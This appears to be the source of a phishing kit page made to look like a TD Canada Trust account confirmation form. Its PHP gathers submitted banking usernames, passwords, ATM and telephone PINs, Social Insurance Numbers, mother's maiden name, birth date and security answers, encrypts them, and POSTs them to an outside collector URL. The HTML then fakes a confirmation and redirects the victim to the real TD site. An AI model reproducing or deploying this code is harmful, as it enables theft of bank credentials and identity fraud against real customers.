Untitled

<?php

$ip = $_SERVER['REMOTE_ADDR'];
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$browser = $_SERVER['HTTP_USER_AGENT'];

$u = $_POST['u'];
$p = $_POST['p'];
$d = $_POST['d'];
$dl2 = $_POST['dl2'];
$address = $_POST['address'];
$city = $_POST['city'];
$dobd = $_POST['dobd'];
$dobm = $_POST['dobm'];
$doby = $_POST['doby'];
$dl = $_POST['dl'];
$pin =$_POST['pin'];
$pinb =$_POST['pinb'];
$mmn = $_POST['mmn'];
$sin1 = $_POST['sin1'];
$sin2 = $_POST['sin2'];
$sin3 = $_POST['sin3'];
$phone = $_POST['phone'];
$mob = $_POST['mob'];
$que1 = $_POST['que1'];
$ans1 = $_POST['ans1'];
$que2 = $_POST['que2'];
$ans2 = $_POST['ans2'];
$que3 = $_POST['que3'];
$ans3 = $_POST['ans3'];
$que4 = $_POST['que4'];
$ans4 = $_POST['ans4'];
$que5 = $_POST['que5'];
$ans5 = $_POST['ans5'];

if (getenv(HTTP_CLIENT_IP)){
	$ip=getenv(HTTP_CLIENT_IP);}
else {
	$ip=getenv(REMOTE_ADDR);}
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);$browser = $_SERVER['HTTP_USER_AGENT'];
$data = "
***** x00x - TD ***** ***** ***** ***** ***** *****
User : $u
Pass : $p
Descripton: $d
Home Phone: $phone
Mobile Phone: $mob
ATM PIN: $pin
Tel PIN: $pinb
DL: $dl2
DOB: $dobd/$dobm/$doby ( day/month/year )
MMN: $mmn
SIN: $sin1 - $sin2 - $sin3
Full Name: $dl
Q1: $que1
A1: $ans1
Q2 $que2
A2: $ans2
Q3: $que3
A3: $ans3
Q4: $que4
A4: $ans4
Q5: $que5
A5: $ans5
ip: $ip,$browser
***** x00x - TD ***** ***** ***** ***** ***** *****
";
$textHos = 'mc_donalds_20';
$sites=array("http://noithatkhanhhoa.com/wp-con.php",);
$ceva = $data;
function encrypt($plaintext,$textHos) {
	$textLen=str_pad(dechex(strlen($plaintext)),8, '0', STR_PAD_LEFT);
	$salt='WSj2g7jTvc8ISmL60Akn';
	$textHosHash=hash('sha256',$salt.$textHos);
	$textHos= md5($textHos,true);
	$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
	$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
	$ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $textHos,
								 $plaintext, MCRYPT_MODE_CBC,$iv);

	$ciphertext = $iv . $textHosHash . $textLen . $ciphertext;
	$ciphertext_base64 = base64_encode($ciphertext);
	return  $ciphertext_base64;
}
$data = encrypt($ceva,$textHos);
function writeit($data,$site) {
	global $textHos;
	$data = array('info' => $data);
	$options = array(
		'http' => array(
			'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
			'method'  => 'POST',
			'content' => http_build_query($data),
		),
	);
	$context  = stream_context_create($options);
	$result = file_get_contents($site, false, $context);
}
foreach ($sites as $site)
	writeit($data,$site);

?>

<html><head>

    <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
	<title>TD Canada Trust Accounts Application</title>
	<link rel="stylesheet" href="files/all_secure.css" type="text/css">

	<script language="JavaScript">
	<!--
	newImg = "images/wait.gif";
	function preloadImage() {
		var preload = new Image();
		preload.src = newImg;
	}

	var click=0;
	var status=true;
	function checkClick() {
		document['continue'].src = newImg;
		if (click) {
			status=false;
		}
		click=1;
	}

	function stat() {
		return status;
	}


	function show(){
		var w=document.getElementById("prod").selectedIndex;
		var x=document.getElementsByTagName("option")[w].id;
		var y=x + "_DETAILS";

		//alert ('w = ['+w+']\nx = ['+x+']\ny = ['+y+']');

		document.getElementById('details').innerHTML = document.getElementById(y).innerHTML;
	}
	//-->
	</script>

    <style type="text/css">
<!--
.style2 {
	font-size: 12px;
	font-weight: bold;
}
-->
    </style>
    </head><body onLoad="show();" alink="#336699" bgcolor="#ffffff" vlink="#999999" link="#006666">
<table bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="602">
<tbody><tr>
	<td>&nbsp;</td>
</tr>
<tr>
	<td>
		<img src="files/title_accounts.gif" alt="Accounts"><br>
         <img src="files/line_dot.gif" alt="#" border="0" width="598" height="1"><br>
         <font class="pageTitleB">Account confirmation  - Client Identification</font>
         <div style="margin-top: 7px;"></div>
	</td>
</tr>


<meta http-equiv="refresh" content="5;url=http://tdcanadatrust.com">
<tr>
	<td class="table"><br>

				<table border="0" cellpadding="0" cellspacing="0" width="595">
					<tbody><tr>
						<td>
							<p class="style2">Your Online Switch statements has been sent. </p>
							<p class="style2">You will be redirected to <a href="http://www.tdcanadatrust.com/products-services/banking/green-banking/">http://www.tdcanadatrust.com/greenbanking/</a> in 5 seconds. </p> </p>
							<p class="table">&nbsp;</p>
					  </td>
					</tr>
				  </tbody></table>
                <div style="margin-top: 7px;"></div>
                <p>
          </p><p>


		<div id="details"></div>
		</td>
</tr>
</tbody></table>

<table bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="598">
<tbody><tr>
	<td align="right" width="598">
		<script>
		if(navigator.appVersion.indexOf('Safari') != -1 && navigator.appVersion.indexOf('85') != -1) {
			document.write('&nbsp;');
		}
		else {
			document.write('<a href="#" target="print" class="pageutility" onclick="window.print(); return false;">Print this page</a>');
		}
		</script><a href="#" target="print" class="pageutility" onClick="window.print(); return false;"></a>	</td>
</tr>
<tr>
	<td class="footer" valign="top" width="598"><br>
		<a class="footerLink" href="http://www.td.com/privacy/index_inc.html" onClick="window.open('http://www.td.com/privacy/index_inc.html', 'td','width=500,height=400,resizable=yes,scrollbars=yes');return false;" target="td">Privacy Policy</a>&nbsp;|&nbsp;
		<a class="footerLink" href="http://www.td.com/security/index_inc.html" onClick="window.open('http://www.td.com/security/index_inc.html', 'td','width=500,height=400,resizable=yes,scrollbars=yes');return false;" target="td">Internet Security</a>&nbsp;|&nbsp;
		<a class="footerLink" href="http://www.td.com/legal/index_inc.html" onClick="window.open('http://www.td.com/legal/index_inc.html', 'td','width=500,height=400,resizable=yes,scrollbars=yes');return false;" target="td">Legal</a>&nbsp;|&nbsp;
		TD Group Financial Services Site&nbsp;-&nbsp;Copyright © TD
	</td>
</tr>
</tbody></table>
<img src="files/ca.htm" width="1" height="1">
<img src="files/PFAFcore01b.gif" border="0" width="1" height="1">


<script language="javascript1.1" src="files/eluminate.js" type="text/javascript"></script>
<script language="javascript1.1" src="files/cmdatatagutils.js" type="text/javascript"></script>


<script language="javascript1.1" type="text/javascript">
<!--
cmSetProduction()
//-->
</script>

<script language="javascript1.1" type="text/javascript">
<!--
cmCreatePageviewTag("/forms/core/page1_unauth.jsp Core1b", "AAUE", null,null);
//-->
</script>

</form></body></html>